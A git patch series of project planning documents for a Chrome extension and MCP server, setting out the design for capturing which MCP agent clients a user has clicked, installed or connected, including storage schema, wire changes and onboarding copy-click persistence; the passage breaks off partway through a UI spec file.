29 / 29-HUMAN-UAT.md ([ASSUMED] internal-endpoint live capture) | human_needed | v0.9.99 Phase 29 | | uat_gap | Phase 30 / 30-HUMAN-UAT.md (UAT-30-01 live render/Grant/badge smoke) | human_needed | v0.9.99 Phase 30 | @@ -97,16 +119,22 @@ Items acknowledged and carried forward from previous milestone closes (Chrome MV | uat_gap | Phases 01/16/20/25 (v0.10/v0.11/v0.12 live-browser) | human_needed/partial | prior closes | | i18n_debt | WARNING-02 picker-cookie short-circuits bare-`/` Accept-Language redirect | closed in v1.2.0 Phase 56 (ROUTE-01/02) | v0.9.63, carried 6+ milestones | -Carry-forward publish/tag gates (pre-existing, user-gated): `npm publish fsb-mcp-server@0.9.0`; `npm publish fsb-mcp-server@0.10.0`; branch + tag pushes for v0.9.62 / v0.9.63 / v0.9.69 / v0.10.0 / v0.11.0 / v0.12.0; `clawhub publish "skills/FSB Skill"`; public package publication. None of this blocks v1.2.0. +Carry-forward publish/tag gates (pre-existing, user-gated): `npm publish fsb-mcp-server@0.9.0`; `npm publish fsb-mcp-server@0.10.0`; branch + tag pushes for v0.9.62 / v0.9.63 / v0.9.69 / v0.10.0 / v0.11.0 / v0.12.0 / v1.2.0; `clawhub publish "skills/FSB Skill"`; public package publication. None of this blocks v0.9.91. -v2 deferred (see REQUIREMENTS.md v1.2.0 v2 section): QA-01 (native-speaker/bilingual QA pass), I18N-FUTURE-01 (migrate stats page off ad hoc JSON mechanism), I18N-FUTURE-02 (automated visual regression pipeline), I18N-FUTURE-03 (translation-freshness reporting). +v2 deferred (see REQUIREMENTS.md v0.9.91 v2 section): CHAT-FUTURE-01/02 (chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` + per-thread cwd pinning); GEMINI-FUTURE-01 (Gemini CLI adapter after live `--help` capture + JSONL schema pinning); ACP-FUTURE-01 (`@zed-industries/agent-client-protocol` unification once โ‰ฅ2 non-Claude adapters have shipped); REMOTE-FUTURE-01 (remote/mobile delegation surfaces โ€” v0.9.91 is explicitly localhost-only). ## Session Continuity -Last session: 2026-07-09 -Stopped at: Phase 53 complete โ€” 5 drifted units resynced, stats-274 JSON retired, 19 hero/CTA strings transcreated; VISUAL-01 browser UAT deferred as human_needed. Continuing autonomously into Phase 54. +Last session: 2026-07-11 +Stopped at: v0.9.91 milestone roadmap defined โ€” 51 v1 requirements across 9 categories (IDENT/PROV/CHAN/ADAPT/CLAUDE/UX/LIFE/DRIFT/NATIVE/MULTI) mapped to Phases 57-65 with 100% coverage and 0 orphans; ROADMAP.md, STATE.md, and REQUIREMENTS.md traceability table populated. Ready for `/gsd-plan-phase 57`. Resume file: None ## Next Actions -v1.2.0 complete and archived. Optional: finish VISUAL-01 human UAT. Start next milestone with `/gsd-new-milestone`. +Start Phase 57 planning: `/gsd-plan-phase 57` + +Phase 57 planning inputs (already in-repo): +- REQUIREMENTS.md IDENT-01..05 +- research/ARCHITECTURE.md Feature 1 seams table (`extension/ui/onboarding.js:508/522/784`, `mcp/src/agent-scope.ts:59-62`, `mcp/src/runtime.ts:31-50`, `extension/ws/mcp-tool-dispatcher.js:1935-1994`, `extension/utils/agent-registry.js:263/305/634`, `mcp/src/platforms.ts:437-490`) +- research/PITFALLS.md #11 (source-pin tripwires) โ€” full suite from commit 1 +- research/SUMMARY.md open question: inventory delivery trigger (record decision in the plan) From 980faf565e2375711510e61cbdfcb624849de0a6 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 06:13:23 -0500 Subject: [PATCH 015/581] docs(57): capture phase context (assumptions mode) --- .../57-agent-identity-capture/57-CONTEXT.md | 139 ++++++++++++++++++ .../57-DISCUSSION-LOG.md | 51 +++++++ 2 files changed, 190 insertions(+) create mode 100644 .planning/phases/57-agent-identity-capture/57-CONTEXT.md create mode 100644 .planning/phases/57-agent-identity-capture/57-DISCUSSION-LOG.md diff --git a/.planning/phases/57-agent-identity-capture/57-CONTEXT.md b/.planning/phases/57-agent-identity-capture/57-CONTEXT.md new file mode 100644 index 000000000..13fce46bf --- /dev/null +++ b/.planning/phases/57-agent-identity-capture/57-CONTEXT.md @@ -0,0 +1,139 @@ +# Phase 57: Agent Identity Capture - Context + +**Gathered:** 2026-07-11 (assumptions mode) +**Status:** Ready for planning + + +## Phase Boundary + +FSB knows which MCP-capable agent CLIs the user has installed on disk, has expressed intent to install (via onboarding copy clicks), and has actually connected via MCP `initialize` โ€” surfaced as a single ground-truth view (`clicked โˆช installed โˆช connected`, keyed by canonical client id) that unblocks every downstream provider-selection decision. Pure additive data layer on both sides of the wire (INV-01 safe). + +**In-scope:** IDENT-01 (copy-click persistence) ยท IDENT-02 (clientInfo capture + threading) ยท IDENT-03 (registry stamping + durable `connected` rollup) ยท IDENT-04 (daemon-side installed-client detection) ยท IDENT-05 (extension-side `getMcpClients` merged view). + +**Out-of-scope:** any UI to display the merged view (Phase 58 Providers panel), any use of the view to pick a provider (Phase 58), any reverse-request channel or spawn behavior (Phase 59+), Gemini alias-table row (deferred until Gemini adapter phase). + + + +## Implementation Decisions + +### Wire Additions โ€” clientInfo Through `agent:register` (Both Transports) + +- **D-01:** Inject a lazy `clientInfoSupplier` (`() => { name?: string; version?: string } | null`) into `AgentScope` at `createRuntime()` construction time (`mcp/src/runtime.ts:31-50`). `AgentScope.ensure(bridge)` reads the supplier inside its register call (`mcp/src/agent-scope.ts:59-62`) and, when the supplier returns a non-null value with either `name` or `version`, sends `payload: { clientInfo: { name?, version? } }`; when it returns null, sends `payload: {}` unchanged. The signature of `ensure(bridge)` does not change, so no tool-registration site is touched. +- **D-02:** The supplier reads from `server.getClientVersion()` (SDK accessor verified at pinned tag `^1.29.0`). Lazy-read is safe because `ensure()` only fires during a tool call, which strictly postdates the MCP `initialize` handshake. The supplier setter in `AgentScope` is type-guarded so mock scopes (`makeMockAgentScope` in `tests/visual-session-schema-lock.test.js`) continue to work without changes. +- **D-03:** Runtime wiring: `createRuntime()` calls `agentScope.setClientInfoSupplier(() => server.server.getClientVersion?.() ?? null)` after both the `agentScope` and `server` are constructed. Both transports get this uniformly โ€” stdio has one runtime per process (`mcp/src/index.ts:243`), and `serve` builds a fresh runtime per HTTP session (`mcp/src/http.ts:125`). No transport-specific changes. +- **D-04:** Extension-side, `handleAgentRegisterRoute` (`extension/ws/mcp-tool-dispatcher.js:1935-1994`) reads `payload.clientInfo` with defensive checks (typeof object; per-field typeof string; per-field length cap โ‰ค200 chars each; drop unknowns), then calls a new `reg.stampClientInfo(agentId, clientInfo)` method cloned exactly from `stampConnectionId` (`extension/utils/agent-registry.js:634-648`) โ€” sync single-property mutation, fire-and-forget `_persist()`, boolean return. +- **D-05:** The durable `fsbAgentProviders.connected` rollup write lives in the dispatcher (not the registry), mirroring the best-effort read-modify-write precedent for `fsbActiveAgentsCount` at `mcp-tool-dispatcher.js:1979-1985`. The register response shape is byte-identical: `{ success, agentId, agentIdShort, ownershipTokens, connectionId }` at `:1993` โ€” no new fields. + +### fsbAgentProviders Storage Schema and the Merged View + +- **D-06:** One `chrome.storage.local` key `fsbAgentProviders` holds three sub-maps, each keyed by canonical client id: + ``` + { + clicked: { : { count, firstClickedAt, lastClickedAt, source? } }, + connected: { : { name, version, lastSeenAt } }, + installed: { : { detected, configPath, version?, checkedAt } } + } + ``` + `storage.local` (not `session`) is required by IDENT-03 ("survives Chrome restart"). Keyed maps give re-connection update-not-duplicate structurally: re-registering overwrites `connected[id]` in place. +- **D-07:** Writes are per-subkey read-modify-write helpers (`storageMutateAgentProviders(subkey, fn)`) so a copy-click writer and a `connected`-stamp writer don't clobber unrelated sub-keys. The single-key RMW race between onboarding page and SW is accepted as a known limitation: it self-heals on next event, and observation-time inconsistency is visible only as a briefly flaky Providers roster in Phase 58. If the race turns out to matter empirically, migration to three flat top-level keys is a clean shim. +- **D-08:** The merged view for `getMcpClients` is assembled **extension-side** in a new `fsbHandleRuntimeMessage` case in `extension/background.js` (routed at `:7610`). Return shape: one map keyed by canonical client id, with the three source records preserved separately per client โ€” `{ clicked | null, installed | null, connected | null, live? }` โ€” plus the live-registry state where available. The UI derives tier (connected > installed > clicked) itself. +- **D-09:** Joining `connected` into the merged view uses a `clientInfo.name`-to-canonical-id alias table maintained inside the extension (module-level constant, e.g. `extension/utils/mcp-client-aliases.js`). Normalization strips case and whitespace; explicit aliases handle known name drift. Unmapped names surface as display-only raw entries (no join to `installed`/`clicked`) so a novel client is visible but unmerged. +- **D-10:** The sunset `listAgents` runtime message stays sunset (INV-05). Any in-SW caller uses `globalThis.fsbDispatchInternalMessage` (`background.js:8731`), never `chrome.runtime.sendMessage` โ€” auto-memory: sendMessage never loops back in-SW. + +### Installed-Client Detection and Inventory Delivery + +- **D-11:** Detection runs **daemon-side only**. For all file-mode / instructions-mode / installMode entries in the `PLATFORMS` registry, reuse `resolvePlatformTarget()` unchanged (`mcp/src/platforms.ts:437-490`). Its `detected` flag means "config file exists OR parent app dir exists," which is the right heuristic for "client app installed." No new npm dependencies; `node:child_process.execFile` is the only new stdlib surface. +- **D-12:** `claude-code` gets a special case: its entry is `installMode: 'cli', configPath: null` (`platforms.ts:95-103`), so `getPlatformTargetCandidates` returns `[]` and `resolvePlatformTarget` hard-codes `detected: false`. Detect it via `execFile('claude', ['--version'], { timeout: 3000 })` with **no** `shell: true`, results memoized for the daemon process lifetime. `version` string is captured only for `claude-code` this phase; file-mode configs carry no version on disk and instructions-mode entries report undetectable. +- **D-13:** Windows resolution of the `claude --version` probe: the detector tries a fixed candidate list per platform. On POSIX: `claude`. On Windows: `claude.cmd` first, then `claude.exe`, then bare `claude`. If none succeeds, `detected: false, version: undefined` is reported โ€” never a shell escalation, never `shell: true` (Node CVE-2024-27980 EINVAL protection). This mirrors the Phase 60 spawn contract but lands one phase early because detection needs it. +- **D-14:** Inventory reaches the extension via **belt-and-braces**: (a) a new additive `MCPMessageType` union member (e.g. `system:client-inventory`) sent daemonโ†’extension over the existing `_routeMessage` path (`extension/ws/mcp-bridge-client.js:390-415`), fire-and-tolerate at bridge-ready and after each successful detection refresh; PLUS (b) piggybacked as a `platforms` field on each `agent:register` payload. Old extensions reply "Unknown MCP message type" via the default throw and the server ignores; old servers omit the piggyback field and the new extension keeps whatever cached snapshot it has. +- **D-15:** The extension caches the `installed` snapshot in `fsbAgentProviders.installed` and stamps `checkedAt` on receipt, so the merged view survives daemon-offline (returns stale-but-honest data with `checkedAt` timestamps so UI can render "checked N minutes ago" if needed later). + +### Onboarding Copy-Click Persistence + +- **D-16:** Add `persistCopyClick(clientId, source)` invoked from `copyCommand()` (`extension/ui/onboarding.js:784-794`, currently only clipboard + 1.6s `state.copied` checkmark + toast). Uses the existing `storageSet` helper (precedent: `persistProviderSelection` at `:560-570`). Writes to `fsbAgentProviders.clicked[clientId] = { count: +1, firstClickedAt: , lastClickedAt: Date.now() }`. Rendering keeps passing `'current'` / `client.id` to `state.copied` unchanged โ€” the checkmark UX and any onboarding tripwire pins depend on it. +- **D-17:** Fan clicks already pass the real client id (`onboarding.js:522-525`). Base-command copies (`:508-509`) currently pass literal `'current'` โ€” the persist handler resolves this to `ROLL_CLIENTS[state.iconIndex].id` at write time (the current rolled client) and tags it `source: 'base'`. Fan clicks are tagged `source: 'fan'`. The `source` field distinguishes user-signal strength for Phase 58's recommended-default cascade. +- **D-18:** When the `all` client is clicked (`{id: 'all', flag: '--all'}` at `onboarding.js:44`), expand at write time to the seven flag-carrying clients: claude-code, claude-desktop, cursor, vscode, windsurf, codex, opencode. Each expanded entry is written with `source: 'all'`. `openclaw` is **excluded** โ€” its entry has `flag: ''` and bare `cmd: 'npx -y fsb-mcp-server'`, meaning `install --all` factually does not configure it. +- **D-19:** The base-copy attribution is preserved: base copies persist (not skipped), because the rolling widget is the most prominent copy button on the screen and dropping it would undercount exactly the default path most users take. The `source` field lets Phase 58 weight fan clicks (unambiguous intent) higher than base clicks (weaker signal) if needed. + +### Claude's Discretion + +- Test-injection surface: whether `AgentScope.setClientInfoSupplier` also accepts a plain-object shape `{name, version}` instead of a nullable supplier (convenience for mocks). Recommended default: supplier-only, keep the type minimal; add object-shape only if the mock harness churn is proven. +- Alias-table starter contents: known aliases can be seeded from the empirical capture research (see canonical refs); populating a Codex or OpenCode alias before their adapters ship is fine but not required this phase. +- Timing of the daemon-side detection refresh (event-driven only vs periodic): recommended default is on bridge-connect and after each `install` command; a periodic sweep can be added later without protocol change. + +### Folded Todos + +None โ€” no matching todos in the pending queue. + + + +## Canonical References + +**Downstream agents MUST read these before planning or implementing.** + +- `/Users/lakshman/conductor/workspaces/fsb/yaounde/.planning/PROJECT.md` โ€” INV-01/INV-03/INV-04/INV-05 hard invariants, `nativeMessaging` deferral (Phase 63 scope), no-new-npm-deps constraint. +- `/Users/lakshman/conductor/workspaces/fsb/yaounde/.planning/REQUIREMENTS.md` โ€” IDENT-01..05 (this phase); PROV-05 (downstream consumer of the merged view; the recommended-default cascade reads from IDENT-05's return shape). +- `/Users/lakshman/conductor/workspaces/fsb/yaounde/.planning/ROADMAP.md` โ€” Phase 57 goal + success criteria. +- `/Users/lakshman/conductor/workspaces/fsb/yaounde/.planning/research/SUMMARY.md` โ€” spawner-ownership context (D-11 daemon-side detection follows this), zero-new-deps constraint, INV-01 additive discipline. +- `/Users/lakshman/conductor/workspaces/fsb/yaounde/.planning/research/ARCHITECTURE.md` โ€” Client-identity capture glue section (Flow 1 at :147-157 specifies the copy-click seam verbatim); `fsbAgentProviders` durable-rollup rationale (:137,175); Open Question 2 inventory-delivery mechanism (D-14 resolves it); INV-05 sunset agents note (:283-285). +- `/Users/lakshman/conductor/workspaces/fsb/yaounde/.planning/research/STACK.md` โ€” SDK v1.29.0 accessor verification; Node child_process caveats (Windows `.cmd` shim, no `shell: true`, `execFile` over `exec`). +- `/Users/lakshman/conductor/workspaces/fsb/yaounde/.planning/research/PITFALLS.md` โ€” source-pin tripwire discipline (`background.js` edits break tests; same-commit pin update); MV3 SW-eviction constraints; `fsbDispatchInternalMessage` in-SW dispatch rule. +- `/Users/lakshman/conductor/workspaces/fsb/yaounde/.planning/codebase/CONVENTIONS.md`, `.../ARCHITECTURE.md`, `.../INTEGRATIONS.md` โ€” established patterns for storage helpers, runtime-message routing, agent-registry envelope. + + + +## Existing Code Insights + +### Reusable Assets + +- **`mcp/src/agent-scope.ts:53-117`** โ€” `AgentScope.ensure()` sends the empty `agent:register` payload. Adding a lazy supplier here is a single-file additive change. +- **`mcp/src/runtime.ts:31-50`** โ€” `createRuntime()` constructs both `agentScope` and `server` in one place; the supplier-injection seam is native. +- **`mcp/src/http.ts:125`** โ€” per-HTTP-session runtime construction; verified that each session gets its own `AgentScope` + `McpServer`. Uniform wiring works. +- **`mcp/src/platforms.ts:437-490`** โ€” `resolvePlatformTarget()` already implements file-mode detection with `existsSync`; imported by `install.ts:660`. Zero new detection code for 20 of 21 clients. +- **`mcp/src/index.ts:243`** โ€” stdio runtime construction (one per process). +- **`extension/ws/mcp-tool-dispatcher.js:1935-1994`** โ€” `handleAgentRegisterRoute` including the `stampConnectionId` pattern to clone at `:1965-1970` and the `fsbActiveAgentsCount` best-effort RMW at `:1979-1985`. +- **`extension/utils/agent-registry.js:634-648`** โ€” `stampConnectionId` โ€” the exact template for `stampClientInfo`. +- **`extension/ui/onboarding.js:560-570`** โ€” `persistProviderSelection` โ€” the exact template for `persistCopyClick`, showing how to write `chrome.storage.local` from the onboarding page. +- **`extension/ui/onboarding.js:522-525` and `:508-509`** โ€” the two copy click sites where client id is in hand. +- **`extension/ws/mcp-bridge-client.js:390-415`** โ€” `_routeMessage` where a new `system:client-inventory` case slots in. +- **`extension/background.js:7610`** โ€” `fsbHandleRuntimeMessage` router where the `getMcpClients` case lands. + +### Established Patterns + +- **Additive optional payload fields** for wire evolution (verified by `agent-scope.ts:77-101` consumption pattern; INV-01). +- **Per-subkey read-modify-write helpers** for storage mutations that survive concurrent writers (established by dispatcher's `fsbActiveAgentsCount` pattern). +- **Same-context dispatch** in the MV3 service worker via `globalThis.fsbDispatchInternalMessage` โ€” never `chrome.runtime.sendMessage` in-SW (auto-memory). +- **Storage envelope separation**: `agent-registry.js` owns `chrome.storage.session` for the live registry; durable rollups live in `chrome.storage.local` under separate keys. +- **Source-pin tripwire discipline**: extension-source edits must update paired tripwire pins in the same commit; test suite green from commit 1 of every phase (auto-memory). + +### Integration Points + +- **Downstream (Phase 58 PROV):** the `getMcpClients` merged view IS the data source for the Providers panel rendering, the recommended-default cascade (PROV-05), and the "installed / not-installed / daemon offline" 3-state UX. Return shape must be stable โ€” Phase 58 will not amend it. +- **Downstream (Phase 60 CLAUDE):** the `claude` binary probe implemented here (D-12/D-13) is reused unchanged by the adapter contract's `detect()` for Claude Code. +- **Downstream (Phase 62 DRIFT):** `doctor` reads the same `installed` snapshot (D-11) plus adapter-version data added in that phase. +- **Upstream (existing v0.9.36):** closes the "trusted MCP client identity from handshake metadata" deferred item. + + + +## Specific Ideas + +- The alias-table module (D-09) lives at `extension/utils/mcp-client-aliases.js`. Seed content is empirical โ€” see canonical refs "empirical clientInfo capture" research flag. +- The `source` field values on `clicked` entries (D-17) are the enumerated set `'fan' | 'base' | 'all'`; Phase 58 may or may not use them but they cost near-zero to record now. +- The daemon detection sweep timing (D-11/Discretion note) is deferred to the planner; recommended default: refresh on bridge-connect + after each `install` command; no periodic sweep this phase. + + + +## Deferred Ideas + +- **Gemini alias-table row** โ€” no local binary was available for empirical capture; deferred to `GEMINI-FUTURE-01`. +- **UI to display the merged view** โ€” Phase 58 Providers panel scope. +- **Recommended-default cascade** using the merged view โ€” Phase 58 PROV-05 scope. +- **`nativeMessaging`-driven daemon wake-up** โ€” Phase 63 NATIVE scope; irrelevant to identity capture. +- **Periodic daemon-side detection sweep** โ€” no user need in the wild yet; add later without protocol change. +- **Object-shape convenience for `setClientInfoSupplier`** โ€” supplier-only for now; add if mock-harness churn is proven. +- **Migration to three flat top-level `fsbAgentProviders*` keys** โ€” kept as a clean shim if the single-key RMW race turns out to matter empirically. + +### Reviewed Todos (not folded) + +None โ€” no todos returned by `todo.match-phase` for this phase. + diff --git a/.planning/phases/57-agent-identity-capture/57-DISCUSSION-LOG.md b/.planning/phases/57-agent-identity-capture/57-DISCUSSION-LOG.md new file mode 100644 index 000000000..e30e06237 --- /dev/null +++ b/.planning/phases/57-agent-identity-capture/57-DISCUSSION-LOG.md @@ -0,0 +1,51 @@ +# Phase 57: Agent Identity Capture - Discussion Log (Assumptions Mode) + +> **Audit trail only.** Do not use as input to planning, research, or execution agents. +> Decisions captured in CONTEXT.md โ€” this log preserves the analysis. + +**Date:** 2026-07-11 +**Phase:** 57-agent-identity-capture +**Mode:** assumptions +**Areas analyzed:** Wire Additions (clientInfo through agent:register), fsbAgentProviders Storage Schema and Merged View, Installed-Client Detection and Inventory Delivery, Onboarding Copy-Click Persistence + +## Assumptions Presented + +### Wire Additions โ€” clientInfo Through `agent:register` (Both Transports) + +| Assumption | Confidence | Evidence | +|------------|-----------|----------| +| Inject a lazy `clientInfoSupplier` into `AgentScope` at `createRuntime()`; read `server.getClientVersion()` inside `ensure()` at send time; omit field when supplier returns null. No signature change to `ensure()`. | Confident | `mcp/src/agent-scope.ts:59-62` (empty payload); `mcp/src/runtime.ts:31-50` (single construction site for both agentScope and server); `mcp/src/http.ts:125` (per-HTTP-session runtime); `mcp/src/index.ts:243` (stdio one-runtime-per-process). Verified fresh runtime per HTTP session by direct read of `http.ts`. Lazy read is guaranteed populated (ensure only fires post-tool-call). | +| Extension-side, `handleAgentRegisterRoute` reads `payload.clientInfo` defensively, calls a new `reg.stampClientInfo(agentId, clientInfo)` cloned from `stampConnectionId`, writes rollup in dispatcher (mirroring `fsbActiveAgentsCount` RMW). Register response byte-identical. | Confident | `extension/ws/mcp-tool-dispatcher.js:1935-1994` (route); `:1965-1970` (`stampConnectionId` pattern); `:1979-1985` (rollup RMW precedent); `:1993` (frozen response shape); `extension/utils/agent-registry.js:634-648` (`stampConnectionId` template); `mcp/src/agent-scope.ts:77-101` (defensive optional-field consumption showing additive INV-01 discipline). | + +### fsbAgentProviders Storage Schema and the Merged View + +| Assumption | Confidence | Evidence | +|------------|-----------|----------| +| Single `chrome.storage.local` key `fsbAgentProviders` holding `{ clicked, connected, installed }` sub-maps keyed by canonical client id; per-subkey RMW helpers accept single-key clobber race as known limitation. | Likely | `.planning/research/ARCHITECTURE.md:137,175` (schema); `extension/utils/agent-registry.js:651-657` (registry envelope is session-scoped โ€” durable rollup must be separate); IDENT-03 requirement text names dotted sub-keys of one parent. Alternative rejected default: three flat top-level keys (eliminates race but requires two-key migration if introduced later). | +| Merge happens extension-side in a new `getMcpClients` case in `fsbHandleRuntimeMessage`, returning a map keyed by canonical client id with `{clicked, installed, connected}` records preserved separately; alias table (case/whitespace + explicit) maps `clientInfo.name`โ†’canonical id; sunset `listAgents` stays sunset (INV-05). | Likely | `extension/background.js:7610` (router); `.planning/research/ARCHITECTURE.md:283-285` (INV-05 sunset agents); `options.js:5767`, `sidepanel.js:3651` (commented-out `listAgents` callers). Only the extension holds all three sources; `clicked` never leaves the extension; daemon can be offline while the panel still needs a view. | + +### Installed-Client Detection and Inventory Delivery + +| Assumption | Confidence | Evidence | +|------------|-----------|----------| +| Detection runs daemon-side only, reusing `resolvePlatformTarget()` unchanged for file-mode/instructions-mode clients; `claude-code` needs `execFile('claude', ['--version'])` special case with per-OS candidate list (Windows `.cmd`/`.exe`/bare); no `shell: true`. | Confident | `mcp/src/platforms.ts:437-490` (existing detection loop with `existsSync`); `:400-402`, `:444-453` (cli-mode blind spot for claude-code where `configPath: null`); `mcp/src/install.ts:660` (existing `resolvePlatformTarget` consumer); `.planning/research/STACK.md` (Node CVE-2024-27980 EINVAL rule; `execFile` over `exec`); `.planning/research/SUMMARY.md:174` (Windows `.cmd` shim flagged). Extension has no fs API; no version source for file-mode configs. | +| Belt-and-braces inventory delivery: additive `MCPMessageType` union member (e.g. `system:client-inventory`) sent daemonโ†’extension via `_routeMessage`, PLUS piggyback on each `agent:register` payload; extension caches in `fsbAgentProviders.installed` for daemon-offline resilience. | Likely | `extension/ws/mcp-bridge-client.js:390-415` (`_routeMessage` add-case seam); `mcp/src/types.ts:8-48` (`MCPMessageType` union additive point, INV-01 safe); `.planning/research/ARCHITECTURE.md` Open Question 2 explicitly left this decision open โ€” must lock in planning. `bridge.ts:515-572` confirms extension-initiated pull is unavailable this phase (Phase 59 territory). Alternative rejected default: piggyback-only leaves serve-daemon-only + client-launched-no-tool users with empty installed tier. | + +### Onboarding Copy-Click Persistence + +| Assumption | Confidence | Evidence | +|------------|-----------|----------| +| Add `persistCopyClick(clientId, source)` invoked from `copyCommand()`; writes `fsbAgentProviders.clicked[clientId] = { count+1, firstClickedAt, lastClickedAt }` via `storageSet`; rendering keeps passing `'current'`/`client.id` to `state.copied` unchanged. | Likely | `extension/ui/onboarding.js:784-794` (`copyCommand` โ€” clipboard + checkmark + toast, nothing persisted); `:560-570` (`persistProviderSelection` โ€” precedent for `chrome.storage.local` writes from onboarding page); `:522-525` (fan clicks pass real id); `:508-509` (base copies pass literal `'current'`); `:507` (`current = ROLL_CLIENTS[state.iconIndex]` โ€” resolves base-copy attribution); `.planning/research/ARCHITECTURE.md:147-157` (Flow 1 specifies this seam). Alternative rejected default: skip base copies (would undercount the most prominent copy button on the screen). | +| `all` clicks expand at write time to the seven flag-carrying clients (claude-code, claude-desktop, cursor, vscode, windsurf, codex, opencode), each tagged `source: 'all'`; `openclaw` excluded (`flag: ''`, bare `cmd: 'npx -y fsb-mcp-server'`). | Likely | `extension/ui/onboarding.js:44` (`{id: 'all', flag: '--all'}`); `:43` (`openclaw` with `flag: ''` and bare cmd); `:35-45` (full `INSTALL_CLIENTS` roster). IDENT-01 text says "aggregates all ids." Alternative rejected default: store literal `'all'` sentinel (forces every reader to know the expansion rule). | + +## Corrections Made + +No corrections โ€” all assumptions confirmed on first pass. + +## External Research + +Two open research topics flagged as phase-time spikes (not blockers): +- **Empirical `clientInfo.name`/`version` capture per real client** โ€” needed before locking the alias-table module (D-09) with production content. Cheap plan-time capture: connect each locally installed client once and log the handshake. Deferred to plan phase. +- **Windows `claude` binary resolution** โ€” `execFile('claude', ...)` without `shell: true` does not resolve `.cmd`/`.ps1` npm shims (Node CVE-2024-27980 EINVAL). D-13 resolves this with a per-OS candidate list; the alternative would require deferring installed-client version detection for claude-code on Windows to Phase 60. + +Everything else โ€” SDK accessor validity, `platforms.ts` coverage, empty-payload seam, stamp pattern, spawner ownership, INV-01 additive rules โ€” is covered by `.planning/research/SUMMARY.md` and `.planning/research/ARCHITECTURE.md`. From c6abd42dd651c3513704a1b2953bde58fcab50cb Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 06:13:28 -0500 Subject: [PATCH 016/581] docs(state): record phase 57 context session --- .planning/STATE.md | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/.planning/STATE.md b/.planning/STATE.md index 7a91396e9..d5975cfbb 100644 --- a/.planning/STATE.md +++ b/.planning/STATE.md @@ -3,14 +3,14 @@ gsd_state_version: 1.0 milestone: v0.9.91 milestone_name: MCP Clients as Providers status: planning -last_updated: "2026-07-11T00:00:00.000Z" -last_activity: 2026-07-11 +stopped_at: Phase 57 context gathered (assumptions mode) +last_updated: "2026-07-12T11:13:28.165Z" +last_activity: 2026-07-11 โ€” Milestone v0.9.91 roadmap defined, 51 requirements mapped, phase structure approved progress: - total_phases: 9 + total_phases: 18 completed_phases: 0 total_plans: 0 - completed_plans: 0 - percent: 0 + completed_plans: 2 --- *Note: the `total_phases`/`completed_phases` counts above are scoped to the active v0.9.91 milestone (Phases 57-65) only. Some GSD tooling (`roadmap.analyze`, `phase.complete`) reports a noisy multi-phase count including collapsed `## Completed Milestones` archive entries and `## Backlog` sections โ€” treat this file's own numbers as authoritative for v0.9.91 progress.* @@ -125,15 +125,16 @@ v2 deferred (see REQUIREMENTS.md v0.9.91 v2 section): CHAT-FUTURE-01/02 (chat-mo ## Session Continuity -Last session: 2026-07-11 -Stopped at: v0.9.91 milestone roadmap defined โ€” 51 v1 requirements across 9 categories (IDENT/PROV/CHAN/ADAPT/CLAUDE/UX/LIFE/DRIFT/NATIVE/MULTI) mapped to Phases 57-65 with 100% coverage and 0 orphans; ROADMAP.md, STATE.md, and REQUIREMENTS.md traceability table populated. Ready for `/gsd-plan-phase 57`. -Resume file: None +Last session: 2026-07-12T11:13:28.161Z +Stopped at: Phase 57 context gathered (assumptions mode) +Resume file: .planning/phases/57-agent-identity-capture/57-CONTEXT.md ## Next Actions Start Phase 57 planning: `/gsd-plan-phase 57` Phase 57 planning inputs (already in-repo): + - REQUIREMENTS.md IDENT-01..05 - research/ARCHITECTURE.md Feature 1 seams table (`extension/ui/onboarding.js:508/522/784`, `mcp/src/agent-scope.ts:59-62`, `mcp/src/runtime.ts:31-50`, `extension/ws/mcp-tool-dispatcher.js:1935-1994`, `extension/utils/agent-registry.js:263/305/634`, `mcp/src/platforms.ts:437-490`) - research/PITFALLS.md #11 (source-pin tripwires) โ€” full suite from commit 1 From ba349c4f1c4a091b02eec8b9118e7e71038b57b2 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sun, 12 Jul 2026 06:26:35 -0500 Subject: [PATCH 017/581] docs(57): UI design contract --- .../57-agent-identity-capture/57-UI-SPEC.md | 190 ++++++++++++++++++ 1 file changed, 190 insertions(+) create mode 100644 .planning/phases/57-agent-identity-capture/57-UI-SPEC.md diff --git a/.planning/phases/57-agent-identity-capture/57-UI-SPEC.md b/.planning/phases/57-agent-identity-capture/57-UI-SPEC.md new file mode 100644 index 000000000..355f4528e --- /dev/null +++ b/.planning/phases/57-agent-identity-capture/57-UI-SPEC.md @@ -0,0 +1,190 @@ +--- +phase: 57 +slug: agent-identity-capture +status: approved +shadcn_initialized: false +preset: none +created: 2026-07-12 +--- + +# Phase 57 โ€” UI Design Contract + +> Visual and interaction contract for Agent Identity Capture. Generated by gsd-ui-researcher, verified by gsd-ui-checker. +> +> **Scope lock:** Phase 57 is an additive data-layer phase. It does not display the merged MCP-client inventory, add provider rows, or introduce any new empty/loading/error panel. The only user-facing seam is the existing onboarding install-command copy interaction. Its markup, layout, copy, animation, themes, and feedback must remain visually unchanged while the click is persisted. Inventory and provider-selection UI are Phase 58 scope. + +--- + +## Design System + +| Property | Value | +|----------|-------| +| Tool | none โ€” custom Chrome MV3 HTML/CSS/JavaScript | +| Preset | not applicable | +| Component library | none โ€” reuse the existing onboarding primitives in `onboarding.html`, `onboarding.css`, and `onboarding.js` | +| Icon library | bundled Font Awesome (`fa-copy`, `fa-check`, `fa-circle-check`); add no icon package | +| Font | system UI stack for body/feedback, bundled SF Mono-compatible stack for commands, and existing Poppins/Space Mono branding only | + +Sources: Phase boundary and D-16 through D-19 in `57-CONTEXT.md`; IDENT-01 and IDENT-05 in `REQUIREMENTS.md`; existing implementation in `extension/ui/onboarding.{html,css,js}`. + +**shadcn gate result:** Not applicable. Repository inspection found no `components.json`, Tailwind config, React, Next.js, or Vite UI surface. Phase 57 extends a vanilla Manifest V3 page and must not initialize shadcn or add a registry. + +--- + +## Phase-Specific UI Contract + +| Area | Contract | +|------|----------| +| Visible delta | None. Do not add a client roster, install badge, connected state, recommendation, loading state, spinner, secondary toast, or storage-status message. | +| Base copy targets | Preserve both `#obCopyCurrent` and `#obCopyIcon`. Both copy the currently rolled client's command and keep the render key `current`; persistence resolves `current` to `ROLL_CLIENTS[state.iconIndex].id` at click time. | +| Fan copy targets | Preserve every `[data-copy-client]` native button and its existing command. Persist the button's canonical `client.id`; do not change fan labels, ordering, icons, flags, or open/close behavior. | +| Clipboard feedback | 